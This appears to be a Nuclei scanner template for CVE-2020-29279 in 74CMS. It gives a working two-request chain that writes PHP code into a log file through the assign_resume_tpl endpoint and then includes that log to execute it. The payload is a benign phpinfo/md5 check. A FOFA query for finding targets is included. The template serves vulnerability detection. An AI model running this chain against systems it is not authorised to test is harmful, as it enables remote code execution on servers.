74CMS - Remote File Inclusion

id: CVE-2020-29279

info:
  name: 74CMS - Remote File Inclusion
  author: DhiyaneshDK
  severity: critical
  description: |
    PHP remote file inclusion in the assign_resume_tpl method in Application/Common/Controller/BaseController.class.php in 74CMS before 6.0.48 allows remote code execution.
  impact: |
    Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to version 6.0.48 or later.
  reference:
    - https://github.com/Ares-X/VulWiki/blob/master/Web%E5%AE%89%E5%85%A8/74cms/74cms%20v6.0.48%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%2B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%ABgetshell.md
    - https://www.wangan.com/p/7fyg8ka5a6f81cb6
    - https://cloud.tencent.com/developer/article/1856739
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29279
    epss-score: 0.52881
    epss-percentile: 0.98845
    cpe: cpe:2.3:a:74cms:74cms:*:*:*:*:*:*:*:*
  metadata:
    vendor: 74cms
    product: 74cms
    fofa-query: app="骑士-74CMS"
  tags: cve,cve2020,74cms,rce,intrusive,file-upload,vkev,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        variable=1&tpl=<?php phpinfo(); echo md5("{{num}}");ob_flush();?>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "ThinkPHP")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        variable=1&tpl=data/Runtime/Logs/Home/{{replace(date_time("%Y"), "20", "")}}_{{date_time("%M_%D",unix_time())}}.log

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Version"
          - "{{md5(num)}}"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c84d015180d83a9fc37645114bf0b9a1bf36664e886ce9f2f7de50ae82f7e64d022027beabd3e8c4a110903776ce0b2783ac6d52f69fccb03b6f61cb162e75cea90f:922c64590222798bb761d5b6d8e72950